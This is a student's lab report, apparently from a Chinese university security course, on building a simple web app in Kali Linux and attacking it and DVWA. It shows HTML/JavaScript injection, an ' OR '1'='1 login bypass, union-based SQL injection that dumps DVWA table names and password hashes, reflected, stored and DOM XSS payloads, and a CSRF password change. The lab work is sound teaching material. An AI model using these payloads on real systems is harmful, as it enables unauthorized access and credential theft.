20232322 2025-2026-1 《网络与系统攻防技术》实验八实验报告

news/2025/12/1 10:35:42/文章来源:https://www.cnblogs.com/lsl2514962208/p/19291106

一.实验内容

  • Web前端HTML:能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML
  • Web前端javascipt:理解JavaScript的基本功能,理解DOM。在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”尝试注入攻击:利用回显用户名注入HTML及JavaScript
  • Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
  • Web后端:编写PHP网页,连接数据库,进行用户认证
  • 最简单的SQL注入,XSS攻击测试
  • 安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击

二.实验目的

搭建Web环境,实现前后端开发,实践SQL注入、XSS等常见Web安全漏洞

三.实验环境

  • kali linux虚拟机
    image

四.实验过程与分析

1.Web前端HTML

  • 通过 systemctl start apache2 启动Apache服务
    dd8433e01b7f5cecc68ad807fdb2b3ea
    打开浏览器,输入localhost,出现以下界面说明Apache Web服务器安装成功
    1ee54a4371da5da51d5169d1baafe5ec
  • 进入/var/www/html目录,创建两个html文件分别使用GET和POST方法编写一个含有表单的HTML。
    • GET:
      17f55a3b7d2b3d946105c752c889336c
      GET方法数据会在URL中显示,不适合传输密码
    • POST:
      8b0f265b76dd32c16928d94cb8d46910
      POST方法数据不会在URL中显示,更加安全

2.Web前端JavaScript

  • 原HTML上加入输入的验证
    • 用户名不能为空
      5e4cb13effb8d59f015eb4a22b046966
    • 密码不能为空
      ce4d97afdd454c51700e7ba97684d521
    • 密码至少8位
      3345fd4cdcaee82e350670dc6fa53f7e
  • 注入攻击
    • 在用户名输入框中输入:<u>HTML injection succeed.</u>,HTML injection succeed.会被回显到页面,并且以下划线的形式展示
      e8f13e4698598be70384632b92f575f2
    • 在用户名输入框中输入:<img src='x' onerror='document.body.innerHTML = "JavaScript injection succeed."'>,出现下图表示成功
      image

3. Web后端MySQL基础

通过 systemctl start mysql 打开MySQL服务
92a24d9c6ad5483ca0c4b9c81011183b
进行如下配置

CREATE DATABASE 20232322db;-- 创建数据库
USE 20232322db;-- 使用数据库
CREATE USER 'user1' IDENTIFIED BY 'user@20232322';-- 创建用户
GRANT ALL PRIVILEGES ON 20232322db.* TO 'user1';-- 授予用户权限
FLUSH PRIVILEGES;--刷新权限
ALTER USER 'user1' IDENTIFIED BY 'user@2322';-- 修改用户密码
CREATE TABLE tablefirst ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255) NOT NULL, pwd VARCHAR(255) NOT NULL );-- 创建表
INSERT INTO testtable (name, pwd) VALUES ('user1', '20232322');-- 插入数据
SELECT * FROM tablefirst;-- 查看表中所有内容

6d2c7b052c8e72d14f29f12a2db7518d
575f0eb2ad5ae6b500fc5ec9a12c1705

4.Web后端编写PHP网页

  • 编写完成后输入数据库中的用户与密码验证
    146d01fd77e844e1cda6f73c62d36ce6
  • 密码错误
    ce2f51d6926d06fbfc0a3bbf6389caa5

5.SQL注入与XSS注入

  • SQL注入,用户名随意,密码输入' OR '1'='1即可成功登录
    6c341b1b1a7dedd488d1c1191d0f998b
    29dbb7ba08225c77ee97bd94049e9dd8
  • XSS攻击,在用户名输入框内注入<img src=x onerror=alert('XSS成功')>,密码随意,出现下图情况,成功
    3be633d81b1c33d34d3b0131577668d7

6.安装DVWA或WebGoat平台,并完成SQL注入,XSS,CSRF攻击

  • 通过 sudo apt install dvwa 安装DVWA,输入 dvwa-start 开启dvwa
  • 修改安全等级为low
    1f1268fbf89daf23e832fd02cceca284
  • 进行sql注入:
    • 输入1
      c828f465f6e901c6aa239b8478c11682
    • 使用1' order by 1 #,1' order by 2 #数字逐渐递加,直到n
      发现到第三个的时候报错,说明有两个字段
      d8c0cc951f51203b774a6a5e1dbf9ccc
    • 输入 输入1' union SELECT DATABASE(),2 # 获取当前使用的数据库名
      a950166a69e4d8169a7333f3dc09dac6
    • 输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #获取数据库的表名
      image
      可以看到有guestbook、access_log、user、security_log4张表
    • 输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #获取表user中的字段
      微信图片_20251201100626_412_84
    • 输入1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #直接获取user中的password字段
      微信图片_20251201101004_413_84
      第一个密码即为admin的密码
    • 在加密网站中解密pasword字段进行验证
      image
  • xss攻击
    • 输入xss,输入内容会显示到页面和URL中
      06eacdb51dcb0a02c62682d55334a4d6
    • 输入<script>alert('XSS')
      d969b55faf4cd3fce7f7593cafdad4ff
    • 使用Stored
      f66b579c478654bd5270a2427cdc61fc
      输入<script>alert('lady_killer9')</script>
      1eaec86ebd7a99f4249e9a4e2021e606
    • 使用DOM
      点击select,URL中default参数会显示提交的内容。
      改变default为<script>alert('XSS')</script>
      502d5e0b98ed6047b414f6c9565ce9d9
    • CSRF攻击
      修改密码
      3ba594679536498720359247a609f1bf
      修改后的密码会显示在URL中,我们使用修改后的密码登陆admin验证一下
      9b8c23c5ed03ad160fd5d68ef5735494

五.问题及解决方案

问题:在php网页中一直报错网络错误
解决方案:启动php服务器并将php文件放入var/www/html中,通过http://localhost/20232322php.html登录

六.学习感悟

通过本次实验,我明白了安全漏洞的普遍性与危险性,使最简单的代码也可能存在严重漏洞。同时也提升了我的安全意识,安全是开发过程中必须考虑的重点,每个输入点都可能是潜在的攻击入口,这就要求我们对于漏洞原理要有深刻理解。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/982673.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《这里的黎明静悄悄》王金陵 译

通过网盘分享的文件:这里的黎明静悄悄.chm 链接: https://pan.baidu.com/s/1xmIa2FOrUvXI6zKswWgsyA?pwd=ejgj 通过网盘分享的文件:这里的黎明静悄悄 王金陵译.pdf 链接: https://pan.baidu.com/s/1pLhXgoOHjQDSqIK…

2025年12月上海装修公司排行榜推荐:十家优质企业对比分析与选择指南

一、引言 对于计划在2025年底进行家庭或商业空间装修的业主而言,选择一家可靠的装修公司是确保工程质量和控制预算的关键。无论是首次置业的年轻家庭、二手房翻新的改善型业主,还是商业空间投资者,均希望获得高性价…

成都专业小程序开发品牌公司推荐

推来客网络凭借其多行业适配能力、强大的技术实力、全流程服务保障及高性价比的方案,成为小程序开发市场中的优质选择。企业在选择合作伙伴时,结合自身需求进行全面评估,可以更好地实现小程序开发的目标。如需进一步…

成都高性价比的小程序开发公司推荐

如今小程序已成为企业拓展业务和提升品牌影响力的重要工具。然而,面对市场上众多的小程序开发公司,如何选择一家高性价比的公司,成为了许多企业面临的难题。根据《2025年小程序行业发展报告》,预计2025年小程序市场…

2025年中国十大奢侈品上门回收公司推荐:首饰上门回收附近商

本榜单依托奢侈品回收行业全维度调研与真实用户口碑,深度筛选出十家标杆企业,为有奢侈品回收需求的用户提供客观依据,助力精准匹配专业可靠的服务伙伴。 TOP1 推荐:小葫芦(深圳)互联网有限公司 推荐指数:★★★…

2025年比较好的进口品牌定制五金/全域定制五金厂家最新用户好评榜

2025年进口品牌定制五金/全域定制五金厂家用户好评榜行业背景与市场趋势随着中国家居消费升级和个性化需求增长,定制五金行业正迎来前所未有的发展机遇。2024年市场数据显示,高端定制五金市场规模已突破800亿元,年增…

2025年靠谱的陶瓷不粘锅厂家推荐及选购参考榜

2025年靠谱的陶瓷不粘锅厂家推荐及选购参考榜行业背景与市场趋势随着消费者健康意识的不断提升和厨房烹饪方式的多样化,陶瓷不粘锅市场近年来呈现出快速增长的趋势。相比传统涂层不粘锅,陶瓷不粘锅因其无毒、耐高温、…

成都小程序开发性价比高的公司推荐

推来客网络不仅拥有专业技术团队和丰富项目经验,还以高性价比的服务和创新设计理念满足企业的多样化需求。如果您正在寻找一家专业且性价比高的成都小程序开发公司,推来客网络是一个值得信赖的选择。随着小程序在数字…

2025年质量好的高精密零配件机械加工最新TOP厂家排名

2025年质量好的高精密零配件机械加工TOP厂家排名行业背景与市场趋势随着全球制造业向智能化、精密化方向快速发展,高精密零配件机械加工行业正迎来前所未有的发展机遇。2025年,随着工业4.0的深入推进和"中国制造…

2025年通过式抛丸机订制厂家权威推荐榜单:吊钩抛丸机‌/抛丸机‌/制丸机‌源头厂家精选

在机械制造领域,通过式抛丸机作为工件表面清理与强化的关键设备,其性能直接关系到产品质量与生产效率。据行业统计,2024年吊钩式抛丸机市场规模已突破60亿元,年增速达28%,市场需求持续攀升。 在制造业持续升级的2…

2025年口碑好的风电驱鸟器/超声波驱鸟器厂家最新权威实力榜

2025年口碑好的风电驱鸟器/超声波驱鸟器厂家权威实力榜行业背景与市场趋势随着全球风电产业的快速发展,风电场的安全运行问题日益受到重视。鸟类活动对风电设备的潜在威胁已成为行业关注的焦点,据统计,鸟类撞击导致…

2025成都小程序开发公司推荐:技术实力与交付保障双维度

在选择小程序开发公司时,技术实力和交付保障是两个不可忽视的重要因素。推来客网络凭借其雄厚的技术实力、丰富的行业经验和完善的服务体系,成为了企业小程序开发的优质合作伙伴。如果您正在寻找一家可靠的小程序开发…

2025年质量好的炫彩金丝绒/烫金烫银金丝绒厂家最新TOP排行榜

2025年质量好的炫彩金丝绒/烫金烫银金丝绒厂家TOP排行榜行业背景与市场趋势随着消费升级和审美需求的多元化,炫彩金丝绒和烫金烫银金丝绒面料近年来在服装、家纺、装饰品等领域持续走俏。2024-2025年,全球纺织面料市…

2025年热门的IXPE泡棉/EVA泡棉厂家最新热销排行

2025年热门的IXPE泡棉/EVA泡棉厂家热销排行行业背景与市场趋势随着全球制造业的持续升级和环保要求的不断提高,IXPE泡棉和EVA泡棉作为高性能环保材料在多个领域的需求呈现爆发式增长。2025年,这两种材料在汽车制造、…

2025年评价高的半封闭制冷压缩机/国产制冷压缩机最新TOP厂家排名

2025年评价高的半封闭制冷压缩机/国产制冷压缩机TOP厂家排名行业背景与市场趋势随着全球冷链物流需求的持续增长和节能减排政策的深入推进,半封闭制冷压缩机市场正迎来新一轮发展机遇。2024-2025年,中国制冷压缩机产…

2025年质量好的纸业/特种纸印刷包装优质厂家推荐榜单

2025年质量好的纸业/特种纸印刷包装优质厂家推荐榜单 行业背景与市场趋势 随着消费升级和环保意识的增强,特种纸及高端印刷包装市场需求持续增长。特种纸凭借其独特的质感、色彩表现和环保特性,在奢侈品包装、文创…

2025年大王椰板材公司:环保技术路径与产业升级深度解析

本文将从技术研发与环保性能这一核心维度出发,为读者剖析大王椰板材公司在高端环保板材领域的具体实践与行业影响,提供一个有针对性的客观参考。 背景与概况 深耕板材领域25载,杭州大王椰控股集团有限公司始终以“匠…

2025年12月专业砂磨机、肥料设备、纳米砂磨机、卧式砂磨机、水溶肥设备与服务厂家综合选择指南

摘要 随着纳米材料在高端制造领域的应用不断深化,砂磨机作为纳米级研磨的核心设备,其技术水平和工艺适配性已成为行业关注焦点。本文基于设备性能、技术创新、服务能力等维度,筛选出上海地区5家值得关注的砂磨机企业…

[H3C/华三]Private VLAN技术简述与配置指南

本篇目录Private VLAN概述 Private VLAN配置限制 Private VLAN配置步骤 端口工作模式详解及配置 Private VLAN配置过程示例 配置验证命令1. Private VLAN概述 Private VLAN(私有VLAN)是一种二层VLAN结构,通过配置Pr…

深入解析:vue3 实现echarts 3D 地图

深入解析:vue3 实现echarts 3D 地图pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monac…